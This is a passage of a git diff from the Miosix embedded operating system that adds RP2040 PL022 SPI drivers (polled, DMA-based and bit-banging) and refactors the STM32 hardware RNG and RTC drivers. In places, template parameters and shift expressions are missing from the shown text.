+ unsigned short sendRecv(unsigned short data, unsigned wordSize=8) noexcept; + + /** + * Send and receive a string of words. + * \param send The string of words to be transmitted. + * \param recv Buffer for the words received. + * \param len The number of words to be sent and simultaneously received. + * \param wordSize The word size; only the least significant wordSize bits + * of each data word will be transmitted, and only wordSize bits are going + * to be received for each data word. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + */ + void sendRecv(const unsigned short send[], unsigned short recv[], size_t len, unsigned wordSize=8) noexcept; + void sendRecv(const unsigned char send[], unsigned char recv[], size_t len, unsigned wordSize=8) noexcept; + + /** + * Send a string of words, ignoring the response being trasmitted back. + * \param send The string of words to be transmitted. + * \param len The number of words to be sent. + * \param wordSize The word size; only the least significant wordSize bits + * of each data word will be transmitted. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + */ + void send(const unsigned short send[], size_t len, unsigned wordSize=8) noexcept; + void send(const unsigned char send[], size_t len, unsigned wordSize=8) noexcept; + + /** + * Receive a string of words, while repeatedly sending the same data. + * \param recv Buffer for the words received. + * \param len The number of words to be received. + * \param wordSize The word size; only the least significant wordSize bits + * of each data word will be transmitted. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + * \param sendDummy Word to be sent to keep the transmission going and + * the clock clocking. + */ + void recv(unsigned short recv[], size_t len, unsigned wordSize=8, unsigned short sendDummy=0xFFFF) noexcept; + void recv(unsigned char recv[], size_t len, unsigned wordSize=8, unsigned short sendDummy=0xFF) noexcept; + +private: + /// \private Hardware register definition + /// Not using the arch_registers definitions because they might change from + /// vendor to vendor. + struct Regs + { + struct Field + { + Field(unsigned char lsb, unsigned char msb) : lsb(lsb), msb(msb) {} + unsigned int mask() { return ((1<<(1+msb-lsb))-1) << lsb; } + unsigned int get(unsigned int v) { return (v & mask()) >> lsb; } + unsigned int put(unsigned int v, unsigned int old=0) + { + return (old & ~mask()) | ((v << lsb) & mask()); + } + const unsigned char lsb, msb; + }; + + volatile unsigned int CR0; + static inline Field CR0_DSS() { return Field(0,3); } + static inline Field CR0_FRF() { return Field(4,5); } + static inline Field CR0_SPO() { return Field(6,6); } + static inline Field CR0_SPH() { return Field(7,7); } + static inline Field CR0_SCR() { return Field(8,15); } + + volatile unsigned int CR1; + static inline Field CR1_LBM() { return Field(0,0); } + static inline Field CR1_SSE() { return Field(1,1); } + static inline Field CR1_MS() { return Field(2,2); } + static inline Field CR1_SOD() { return Field(3,3); } + + volatile unsigned int DR; + + volatile unsigned int SR; + /// Transmit FIFO empty + static inline Field SR_TFE() { return Field(0,0); } + /// Transmit FIFO not full + static inline Field SR_TNF() { return Field(1,1); } + /// Receive FIFO not empty + static inline Field SR_RNE() { return Field(2,2); } + /// Receive FIFO full + static inline Field SR_RFF() { return Field(3,3); } + /// Peripheral busy transmitting/receiving + static inline Field SR_BSY() { return Field(4,4); } + + volatile unsigned int CPSR; + + volatile unsigned int IMSC; + volatile unsigned int RIS; + volatile unsigned int MIS; + volatile unsigned int ICR; + /// Receive FIFO overflow + static inline Field INT_RO() { return Field(0,0); } + /// Receive timeout (line idle) + static inline Field INT_RT() { return Field(1,1); } + /// There are four or more valid entries in the receive FIFO + static inline Field INT_RX() { return Field(2,2); } + /// There are four or fewer valid entries in the transmit FIFO + static inline Field INT_TX() { return Field(3,3); } + + volatile unsigned int DMACR; + static inline Field DMACR_RXDMAE() { return Field(0,0); } + static inline Field DMACR_TXDMAE() { return Field(1,1); } + }; + + void IRQhandleInterrupt() noexcept; + void waitForInterrupt(unsigned int flag) noexcept; + void waitForEndTransfer() noexcept; + + void setWordSize(unsigned int wordSize) noexcept; + template + void sendRecvImpl(const D send[], D recv[], size_t len, unsigned wordSize) noexcept; + template + void sendImpl(const D send[], size_t len, unsigned wordSize) noexcept; + template + void recvImpl(D recv[], size_t len, unsigned wordSize, D sendDummy) noexcept; + + Regs *spi; + const int irqn; + const unsigned int peripheralClock; + Thread *waiting=nullptr; + unsigned int bitrate; +}; + +} // namespace miosix diff --git a/miosix/arch/drivers/spi/rp2040_spi.cpp b/miosix/arch/drivers/spi/rp2040_spi.cpp new file mode 100644 index 000000000..4667de3fb --- /dev/null +++ b/miosix/arch/drivers/spi/rp2040_spi.cpp @@ -0,0 +1,359 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "rp2040_spi.h" +#include "drivers/rp2040_dma.h" + +namespace miosix { + +RP2040PL022DmaSpi::RP2040PL022DmaSpi(int number, unsigned int bitrate, bool spo, bool sph, + GpioPin si, GpioPin so, GpioPin sck, GpioPin ce) noexcept +{ + { + GlobalIrqLock lock; + IRQn_Type irqn; + switch(number) + { + case 0: + clocks_hw->wake_en0|=CLOCKS_WAKE_EN0_CLK_SYS_SPI0_BITS + | CLOCKS_WAKE_EN0_CLK_PERI_SPI0_BITS; + clocks_hw->sleep_en0|=CLOCKS_SLEEP_EN0_CLK_SYS_SPI0_BITS + | CLOCKS_SLEEP_EN0_CLK_PERI_SPI0_BITS; + unreset_block_wait(RESETS_RESET_SPI0_BITS); + spi=spi0_hw; + irqn=SPI0_IRQ_IRQn; + break; + case 1: + clocks_hw->wake_en0|=CLOCKS_WAKE_EN0_CLK_SYS_SPI1_BITS + | CLOCKS_WAKE_EN0_CLK_PERI_SPI1_BITS; + clocks_hw->sleep_en0|=CLOCKS_SLEEP_EN0_CLK_SYS_SPI1_BITS + | CLOCKS_SLEEP_EN0_CLK_PERI_SPI1_BITS; + unreset_block_wait(RESETS_RESET_SPI1_BITS); + spi=spi1_hw; + irqn=SPI1_IRQ_IRQn; + break; + default: + errorHandler(Error::UNEXPECTED); + } + IRQregisterIrq(lock,irqn,&RP2040PL022DmaSpi::IRQhandleInterrupt,this); + txDmaCh=RP2040Dma::IRQregisterChannel(lock,&RP2040PL022DmaSpi::IRQhandleDmaInterrupt,this); + rxDmaCh=RP2040Dma::IRQregisterChannel(lock,&RP2040PL022DmaSpi::IRQhandleDmaInterrupt,this); + si.function(Function::SPI); si.mode(Mode::INPUT); si.fast(); + so.function(Function::SPI); so.mode(Mode::OUTPUT); so.fast(); + sck.function(Function::SPI); sck.mode(Mode::OUTPUT); sck.fast(); + if (ce.isValid()) + { + ce.function(Function::SPI); ce.mode(Mode::OUTPUT); ce.fast(); + } + } + spi->cr0=(0<cr1=SPI_SSPCR1_SSE_BITS; + spi->dmacr=SPI_SSPDMACR_TXDMAE_BITS|SPI_SSPDMACR_RXDMAE_BITS; +} + +RP2040PL022DmaSpi::~RP2040PL022DmaSpi() noexcept +{ + GlobalIrqLock lock; + spi->cr1=0; + if(spi==spi0_hw) + { + IRQunregisterIrq(lock,SPI0_IRQ_IRQn,&RP2040PL022DmaSpi::IRQhandleInterrupt,this); + clocks_hw->wake_en0&=~(CLOCKS_WAKE_EN0_CLK_SYS_SPI0_BITS + | CLOCKS_WAKE_EN0_CLK_PERI_SPI0_BITS); + clocks_hw->sleep_en0&=~(CLOCKS_SLEEP_EN0_CLK_SYS_SPI0_BITS + | CLOCKS_SLEEP_EN0_CLK_PERI_SPI0_BITS); + reset_block(RESETS_RESET_SPI0_BITS); + } else { + IRQunregisterIrq(lock,SPI1_IRQ_IRQn,&RP2040PL022DmaSpi::IRQhandleInterrupt,this); + clocks_hw->wake_en0&=~(CLOCKS_WAKE_EN0_CLK_SYS_SPI1_BITS + | CLOCKS_WAKE_EN0_CLK_PERI_SPI1_BITS); + clocks_hw->sleep_en0&=~(CLOCKS_SLEEP_EN0_CLK_SYS_SPI1_BITS + | CLOCKS_SLEEP_EN0_CLK_PERI_SPI1_BITS); + reset_block(RESETS_RESET_SPI1_BITS); + } + RP2040Dma::IRQunregisterChannel(lock,txDmaCh,&RP2040PL022DmaSpi::IRQhandleDmaInterrupt,this); + RP2040Dma::IRQunregisterChannel(lock,rxDmaCh,&RP2040PL022DmaSpi::IRQhandleDmaInterrupt,this); +} + +void RP2040PL022DmaSpi::setBitrate(unsigned int bitrate) noexcept +{ + this->bitrate=bitrate; + unsigned int ratio=peripheralFrequency/bitrate; + if(ratio<2) ratio=2; + if(ratio>0xfe00) errorHandler(Error::UNEXPECTED); + unsigned int presc=2; + while(ratio>presc*0x100) presc<<=1; + if(presc>0xfe) presc=0xfe; + unsigned int scr=(ratio/presc)-1; + spi->cpsr=presc; + spi->cr0=(spi->cr0&~SPI_SSPCR0_SCR_BITS) | (scr<IRQwakeup(); + waiting=nullptr; + } +} + +void RP2040PL022DmaSpi::IRQhandleDmaInterrupt() noexcept +{ + // We do not take the GIL because the DMA code already did + spi->imsc=0; + if(waiting) + { + waiting->IRQwakeup(); + waiting=nullptr; + } +} + +void RP2040PL022DmaSpi::setWordSize(unsigned int wordSize) noexcept +{ + spi->cr0=(spi->cr0 & ~SPI_SSPCR0_DSS_BITS) + |((wordSize-1)<dr=data; + if(bitratesr&SPI_SSPSR_RNE_BITS)) Thread::nanoSleep(sleepns); + } else { + while(!(spi->sr&SPI_SSPSR_RNE_BITS)) ; + } + unsigned short res=spi->dr; + return res; +} + +template +void RP2040PL022DmaSpi::sendRecvImpl(const D send[], D recv[], size_t len, unsigned wordSize) noexcept +{ + setWordSize(wordSize); + unsigned int datasz=sizeof(D)==1 + ?DMA_CH0_CTRL_TRIG_DATA_SIZE_VALUE_SIZE_BYTE + :DMA_CH0_CTRL_TRIG_DATA_SIZE_VALUE_SIZE_HALFWORD; + unsigned int rxDreq=spi==spi0_hw?17:19; + // In SPI sending and receiving happens simultaneously, so the DMA also + // must pump data in as fast as it pumps it out. Unfortunately this is + // NOT necessarily the case because of bus contention for instance. + // So it can happen that the write DMA pumps data in merrily while the read + // DMA is not keeping up with the FIFO getting full. So the PL022 internal + // read FIFO overflows and we lose bytes. + // To work around this issue we force the write DMA to work in lockstep + // with the read DMA by setting both DMAs' trigger requests to the read + // trigger. To kickstart the process we write the first byte of the + // transmission *in software* to the DR. + // This has the side-effect of slowing down the data transfer when we + // get around 25MHz, which if we are running the Pico at 200MHz leaves + // 8 cycles for the DMA to do the whole read->write bus operation. + // So it makes sense that we are slowing down just about there, because + // any faster and we barely have the cycles to do anything at all. + // Now, it would be MUCH better if the PL022 did NOT assert the DMA TX + // signal if the read FIFO was full, given that, well, it's SPI GODDAMNIT. + // This peripheral almost seems to be designed by people who are ignorant + // of the fact that read/write must be simultaneous in this protocol!... + dma_hw->ch[txDmaCh].read_addr=reinterpret_cast(send+1); + dma_hw->ch[txDmaCh].write_addr=reinterpret_cast(&spi->dr); + dma_hw->ch[txDmaCh].transfer_count=len-1; + dma_hw->ch[txDmaCh].al1_ctrl=(rxDreq<ch[rxDmaCh].read_addr=reinterpret_cast(&spi->dr); + dma_hw->ch[rxDmaCh].write_addr=reinterpret_cast(recv); + dma_hw->ch[rxDmaCh].transfer_count=len; + dma_hw->ch[rxDmaCh].al1_ctrl=(rxDreq<imsc=SPI_SSPIMSC_RORIM_BITS; // enable RX overrun interrupt + dma_hw->multi_channel_trigger=(1U<dr=send[0]; // kickstart the transfer + while(true) + { + if(!((dma_hw->ch[rxDmaCh].al1_ctrl)&DMA_CH0_CTRL_TRIG_BUSY_BITS)) break; + if(spi->ris&SPI_SSPRIS_RORRIS_BITS) + { + // There was a read fifo overflow error! This means the DMA + // channel for reading WON'T be able to complete the transfer + // and some bytes have been lost. So nothing good left to do but + // report the error... + #ifdef WITH_ERRLOG + IRQerrorLog("SPI RX FIFO overrun, you are running too fast!"); + #endif // WITH_ERRLOG + dma_hw->abort=(1U<ch[txDmaCh].al1_ctrl=0; + dma_hw->ch[rxDmaCh].al1_ctrl=0; + spi->imsc=0; // disable RX overrun interrupt + spi->icr=3; // clear all interrupts + } +} + +template +void RP2040PL022DmaSpi::sendImpl(const D send[], size_t len, unsigned wordSize) noexcept +{ + setWordSize(wordSize); + unsigned int datasz=sizeof(D)==1 + ?DMA_CH0_CTRL_TRIG_DATA_SIZE_VALUE_SIZE_BYTE + :DMA_CH0_CTRL_TRIG_DATA_SIZE_VALUE_SIZE_HALFWORD; + unsigned int txDreq=spi==spi0_hw?16:18; + dma_hw->ch[txDmaCh].read_addr=reinterpret_cast(send); + dma_hw->ch[txDmaCh].write_addr=reinterpret_cast(&spi->dr); + dma_hw->ch[txDmaCh].transfer_count=len; + { + FastGlobalIrqLock lock; + dma_hw->ch[txDmaCh].ctrl_trig=(txDreq<ch[txDmaCh].al1_ctrl)&DMA_CH0_CTRL_TRIG_BUSY_BITS) + { + waiting=Thread::IRQgetCurrentThread(); + while(waiting) Thread::IRQglobalIrqUnlockAndWait(lock); + } + dma_hw->ch[txDmaCh].al1_ctrl=0; + } + // flush the SPI fifo + while(spi->sr&SPI_SSPSR_BSY_BITS) ; + while(spi->sr&SPI_SSPSR_RNE_BITS) (void)spi->dr; + spi->icr=3; // clear all interrupts (the overrun interrupt might have triggered) +} + +template +void RP2040PL022DmaSpi::recvImpl(D recv[], size_t len, unsigned wordSize, D sendDummy) noexcept +{ + setWordSize(wordSize); + unsigned int datasz=sizeof(D)==1 + ?DMA_CH0_CTRL_TRIG_DATA_SIZE_VALUE_SIZE_BYTE + :DMA_CH0_CTRL_TRIG_DATA_SIZE_VALUE_SIZE_HALFWORD; + unsigned int rxDreq=spi==spi0_hw?17:19; + // This API is for receiving data without really sending anything -- + // or better we just send the same byte over and over. + // But we still need to write the byte to the data register + // so the same funny cursed business happens as in sendRecvImpl. + dma_hw->ch[txDmaCh].read_addr=reinterpret_cast(&sendDummy); + dma_hw->ch[txDmaCh].write_addr=reinterpret_cast(&spi->dr); + dma_hw->ch[txDmaCh].transfer_count=len-1; + dma_hw->ch[txDmaCh].al1_ctrl=(rxDreq<ch[rxDmaCh].read_addr=reinterpret_cast(&spi->dr); + dma_hw->ch[rxDmaCh].write_addr=reinterpret_cast(recv); + dma_hw->ch[rxDmaCh].transfer_count=len; + dma_hw->ch[rxDmaCh].al1_ctrl=(rxDreq<imsc=SPI_SSPIMSC_RORIM_BITS; // enable RX overrun interrupt + dma_hw->multi_channel_trigger=(1U<dr=sendDummy; // kickstart the transfer + while(true) + { + if(!((dma_hw->ch[rxDmaCh].al1_ctrl)&DMA_CH0_CTRL_TRIG_BUSY_BITS)) break; + if(spi->ris&SPI_SSPRIS_RORRIS_BITS) + { + // There was a read fifo overflow error! This means the DMA + // channel for reading WON'T be able to complete the transfer + // and some bytes have been lost. So nothing good left to do but + // report the error... + #ifdef WITH_ERRLOG + IRQerrorLog("SPI RX FIFO overrun, you are running too fast!"); + #endif // WITH_ERRLOG + dma_hw->abort=(1U<ch[txDmaCh].al1_ctrl=0; + dma_hw->ch[rxDmaCh].al1_ctrl=0; + spi->imsc=0; // disable RX overrun interrupt + spi->icr=3; // clear all interrupts + } +} + +void RP2040PL022DmaSpi::sendRecv(const unsigned short send[], unsigned short recv[], size_t len, unsigned wordSize) noexcept +{ + sendRecvImpl(send, recv, len, wordSize); +} + +void RP2040PL022DmaSpi::sendRecv(const unsigned char send[], unsigned char recv[], size_t len, unsigned wordSize) noexcept +{ + sendRecvImpl(send, recv, len, wordSize); +} + +void RP2040PL022DmaSpi::send(const unsigned short send[], size_t len, unsigned wordSize) noexcept +{ + sendImpl(send, len, wordSize); +} + +void RP2040PL022DmaSpi::send(const unsigned char send[], size_t len, unsigned wordSize) noexcept +{ + sendImpl(send, len, wordSize); +} + +void RP2040PL022DmaSpi::recv(unsigned short recv[], size_t len, unsigned wordSize, unsigned short sendDummy) noexcept +{ + recvImpl(recv, len, wordSize, sendDummy); +} + +void RP2040PL022DmaSpi::recv(unsigned char recv[], size_t len, unsigned wordSize, unsigned short sendDummy) noexcept +{ + recvImpl(recv, len, wordSize, sendDummy); +} + +} // namespace miosix diff --git a/miosix/arch/drivers/spi/rp2040_spi.h b/miosix/arch/drivers/spi/rp2040_spi.h new file mode 100644 index 000000000..86be2f56c --- /dev/null +++ b/miosix/arch/drivers/spi/rp2040_spi.h @@ -0,0 +1,198 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" +#include "interfaces/gpio.h" +#include "kernel/thread.h" +#include "kernel/lock.h" +#include "arm_pl022_spi.h" + +namespace miosix { + +/** + * RP2040 no DMA driver for the PL022 SPI hardware. Master mode only. + */ +class RP2040PL022Spi: public PL022Spi +{ +public: + RP2040PL022Spi(int number, unsigned int bitrate, bool spo, bool sph, + GpioPin si, GpioPin so, GpioPin sck, GpioPin ce) noexcept + : PL022Spi(getBase(number),getIrqn(number),peripheralFrequency) + { + GlobalIrqLock lock; + switch(number) + { + case 0: + clocks_hw->wake_en0|=CLOCKS_WAKE_EN0_CLK_SYS_SPI0_BITS + | CLOCKS_WAKE_EN0_CLK_PERI_SPI0_BITS; + clocks_hw->sleep_en0|=CLOCKS_SLEEP_EN0_CLK_SYS_SPI0_BITS + | CLOCKS_SLEEP_EN0_CLK_PERI_SPI0_BITS; + unreset_block_wait(RESETS_RESET_SPI0_BITS); + + break; + case 1: + clocks_hw->wake_en0|=CLOCKS_WAKE_EN0_CLK_SYS_SPI1_BITS + | CLOCKS_WAKE_EN0_CLK_PERI_SPI1_BITS; + clocks_hw->sleep_en0|=CLOCKS_SLEEP_EN0_CLK_SYS_SPI1_BITS + | CLOCKS_SLEEP_EN0_CLK_PERI_SPI1_BITS; + unreset_block_wait(RESETS_RESET_SPI1_BITS); + break; + default: + errorHandler(Error::UNEXPECTED); + } + initialize(bitrate,spo,sph); + si.function(Function::SPI); si.mode(Mode::INPUT); si.fast(); + so.function(Function::SPI); so.mode(Mode::OUTPUT); so.fast(); + sck.function(Function::SPI); sck.mode(Mode::OUTPUT); sck.fast(); + if (ce.isValid()) + { + ce.function(Function::SPI); ce.mode(Mode::OUTPUT); ce.fast(); + } + } + +private: + static void *getBase(int n) { return reinterpret_cast(n==0 ? spi0_hw : spi1_hw); } + static unsigned int getIrqn(int n) { return n==0 ? SPI0_IRQ_IRQn : SPI1_IRQ_IRQn; } +}; + +/** + * RP2040 DMA-enabled driver for the PL022 SPI hardware. Master mode only. + */ +class RP2040PL022DmaSpi +{ +public: + /** + * Constructor. + * \param number The ID of the peripheral (0 or 1) + * \param bitrate Initially configured serial clock frequency upper bound in + * Hz. The actual clock rate programmed might be lower. + * \param spo Clock polarity. `false' keeps the SCK pin low when the line is + * idle, while `true' keeps SCK high instead. + * \param sph Clock phase. `false' if data in/out must be sampled at the + * rising edge of the clock, `true' if it must be sampled at the falling + * edge. + * \param si Serial in pin. + * \param so Serial out pin. + * \param sck Serial clock pin. + * \param ce Chip enable pin (optional). + */ + RP2040PL022DmaSpi(int number, unsigned int bitrate, bool spo, bool sph, + GpioPin si, GpioPin so, GpioPin sck, GpioPin ce) noexcept; + + /** + * Destructor. + */ + ~RP2040PL022DmaSpi() noexcept; + + /** + * Changes the current serial clock to the specified one. + * \param The clock rate to be programmed in Hz. This is an upper bound; + * the actual clock rate might be lower. + */ + void setBitrate(unsigned int bitrate) noexcept; + + /** + * Send and receive a single word. + * \param data The word to be transmitted + * \param wordSize The word size; only the least significant wordSize bits + * of data will be transmitted, and only wordSize bits are going to be + * received. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + * \returns The data coming back from the SI pin. + */ + unsigned short sendRecv(unsigned short data, unsigned wordSize=8) noexcept; + + /** + * Send and receive a string of words. + * \param send The string of words to be transmitted. + * \param recv Buffer for the words received. + * \param len The number of words to be sent and simultaneously received. + * \param wordSize The word size; only the least significant wordSize bits + * of each data word will be transmitted, and only wordSize bits are going + * to be received for each data word. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + */ + void sendRecv(const unsigned short send[], unsigned short recv[], size_t len, unsigned wordSize=8) noexcept; + void sendRecv(const unsigned char send[], unsigned char recv[], size_t len, unsigned wordSize=8) noexcept; + + /** + * Send a string of words, ignoring the response being trasmitted back. + * \param send The string of words to be transmitted. + * \param len The number of words to be sent. + * \param wordSize The word size; only the least significant wordSize bits + * of each data word will be transmitted. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + */ + void send(const unsigned short send[], size_t len, unsigned wordSize=8) noexcept; + void send(const unsigned char send[], size_t len, unsigned wordSize=8) noexcept; + + /** + * Receive a string of words, while repeatedly sending the same data. + * \param recv Buffer for the words received. + * \param len The number of words to be received. + * \param wordSize The word size; only the least significant wordSize bits + * of each data word will be transmitted. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + * \param sendDummy Word to be sent to keep the transmission going and + * the clock clocking. + */ + void recv(unsigned short recv[], size_t len, unsigned wordSize=8, unsigned short sendDummy=0xFFFF) noexcept; + void recv(unsigned char recv[], size_t len, unsigned wordSize=8, unsigned short sendDummy=0xFF) noexcept; + +private: + void IRQhandleInterrupt() noexcept; + void IRQhandleDmaInterrupt() noexcept; + + void setWordSize(unsigned int wordSize) noexcept; + template + void sendRecvImpl(const D send[], D recv[], size_t len, unsigned wordSize) noexcept; + template + void sendImpl(const D send[], size_t len, unsigned wordSize) noexcept; + template + void recvImpl(D recv[], size_t len, unsigned wordSize, D sendDummy) noexcept; + + spi_hw_t *spi; + Thread *waiting=nullptr; + unsigned int bitrate; + unsigned char txDmaCh, rxDmaCh; +}; + +} // namespace miosix diff --git a/miosix/arch/drivers/spi/sw_spi.h b/miosix/arch/drivers/spi/sw_spi.h new file mode 100644 index 000000000..ce4be82da --- /dev/null +++ b/miosix/arch/drivers/spi/sw_spi.h @@ -0,0 +1,200 @@ +/*************************************************************************** + * Copyright (C) 2011, 2012 by Terraneo Federico * + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +/** + * Bit-banging SPI driver compatible with hardware-based SPI drivers. Mode 0 + * only (CPOL=0, CPHA=0). + */ +template +class SwSPI +{ +public: + /** + * Constructor. + * \param bitrate Initially configured serial clock frequency upper bound in + * Hz. The actual clock rate programmed might be lower. + */ + SwSPI(unsigned int bitrate) noexcept + { + SI::mode(Mode::INPUT); + SO::mode(Mode::OUTPUT); + SCK::mode(Mode::OUTPUT); + CE::mode(Mode::OUTPUT); + CE::high(); + setBitrate(bitrate); + } + + /** + * Changes the current serial clock to the specified one. + * \param The clock rate to be programmed in Hz. This is an upper bound; + * the actual clock rate might be lower. + */ + void setBitrate(unsigned int bitrate) noexcept + { + // Topping off at about 1MHz + // You can't get much faster with bitbanging anyway + clkPeriodUs=((1000000U/bitrate)+1)/2; + } + + /** + * Send and receive a single word. + * \param data The word to be transmitted + * \param wordSize The word size; only the least significant wordSize bits + * of data will be transmitted, and only wordSize bits are going to be + * received. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + * \returns The data coming back from the SI pin. + */ + unsigned short sendRecv(unsigned short data, unsigned wordSize=8) const noexcept + { + CE::low(); + unsigned short res=sendRecvImpl(data,wordSize); + CE::high(); + return res; + } + + /** + * Send and receive a string of words. + * \param send The string of words to be transmitted. + * \param recv Buffer for the words received. + * \param len The number of words to be sent and simultaneously received. + * \param wordSize The word size; only the least significant wordSize bits + * of each data word will be transmitted, and only wordSize bits are going + * to be received for each data word. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + */ + void sendRecv(const unsigned short send[], unsigned short recv[], size_t len, unsigned wordSize=8) const noexcept + { + CE::low(); + for(size_t i=0; i0) + { + if(clkPeriodUs<50) delayUs(clkPeriodUs); + else Thread::nanoSleep((long long)clkPeriodUs*1000LL); + } else { + for(int i=0;i<2;i++) asm volatile("nop"); + } + } + + unsigned short sendRecvImpl(unsigned short data, unsigned wordSize) const noexcept + { + unsigned short result=0; + unsigned int mask=1U<<(wordSize-1); + for(unsigned int i=0;i>=1; + } + return result; + } + + unsigned int clkPeriodUs; +}; + +} // namespace miosix diff --git a/miosix/arch/common/drivers/stm32_hardware_rng.cpp b/miosix/arch/drivers/stm32_hardware_rng.cpp similarity index 93% rename from miosix/arch/common/drivers/stm32_hardware_rng.cpp rename to miosix/arch/drivers/stm32_hardware_rng.cpp index 9595e24d3..7e6dd6966 100644 --- a/miosix/arch/common/drivers/stm32_hardware_rng.cpp +++ b/miosix/arch/drivers/stm32_hardware_rng.cpp @@ -45,7 +45,7 @@ HardwareRng& HardwareRng::instance() unsigned int HardwareRng::get() { - miosix::Lock l(mutex); + Lock l(mutex); PeripheralEnable pe; return getImpl(); } @@ -53,7 +53,7 @@ unsigned int HardwareRng::get() void HardwareRng::get(void* buf, unsigned int size) { unsigned char *buffer=reinterpret_cast(buf); - Lock l(mutex); + Lock l(mutex); PeripheralEnable pe; union Cast { @@ -98,10 +98,9 @@ unsigned int HardwareRng::getImpl() for(;;) //Can't return an error, keep retrying #endif { - int timeout=1000000; - unsigned int sr; - while(--timeout>0) { sr=RNG->SR; if(sr & RNG_SR_DRDY) break; } - if((sr & RNG_SR_SECS) || (sr & RNG_SR_CECS) || timeout<=0) + unsigned int sr,timeout=1000000; + for(;timeout!=0;timeout--) { sr=RNG->SR; if(sr & RNG_SR_DRDY) break; } + if((sr & RNG_SR_SECS) || (sr & RNG_SR_CECS) || timeout==0) { RNG->CR=0; delayUs(1); diff --git a/miosix/arch/common/drivers/stm32_hardware_rng.h b/miosix/arch/drivers/stm32_hardware_rng.h similarity index 96% rename from miosix/arch/common/drivers/stm32_hardware_rng.h rename to miosix/arch/drivers/stm32_hardware_rng.h index ceab1df00..35f62f7ef 100644 --- a/miosix/arch/common/drivers/stm32_hardware_rng.h +++ b/miosix/arch/drivers/stm32_hardware_rng.h @@ -68,7 +68,7 @@ class HardwareRng */ HardwareRng() : old(0) { - miosix::FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; RCC->AHB2ENR |= RCC_AHB2ENR_RNGEN; RCC_SYNC(); } @@ -89,7 +89,7 @@ class HardwareRng ~PeripheralEnable() { RNG->CR=0; } }; - miosix::FastMutex mutex; ///< To protect against concurrent access + KernelMutex mutex; ///< To protect against concurrent access unsigned int old; ///< Previously read value }; diff --git a/miosix/arch/common/drivers/stm32_rtc.cpp b/miosix/arch/drivers/stm32_rtc.cpp similarity index 82% rename from miosix/arch/common/drivers/stm32_rtc.cpp rename to miosix/arch/drivers/stm32_rtc.cpp index a8fc4627d..9fb29617b 100644 --- a/miosix/arch/common/drivers/stm32_rtc.cpp +++ b/miosix/arch/drivers/stm32_rtc.cpp @@ -28,7 +28,8 @@ #include "stm32_rtc.h" #include #include -#include +#include +#include "board_settings.h" #ifndef WITH_RTC_AS_OS_TIMER @@ -92,7 +93,7 @@ long long IRQgetTick() * \param dLock used to reenable interrupts while sleeping * \return true if the wait time was in the past */ -bool IRQabsoluteWaitTick(long long tick, FastInterruptDisableLock& dLock) +bool IRQabsoluteWaitTick(long long tick, FastGlobalIrqLock& dLock) { irqTime=tick; unsigned int hwAlarm=(tick & 0xffffffffULL) - (swTime & 0xffffffffULL); @@ -110,32 +111,16 @@ bool IRQabsoluteWaitTick(long long tick, FastInterruptDisableLock& dLock) //thus not 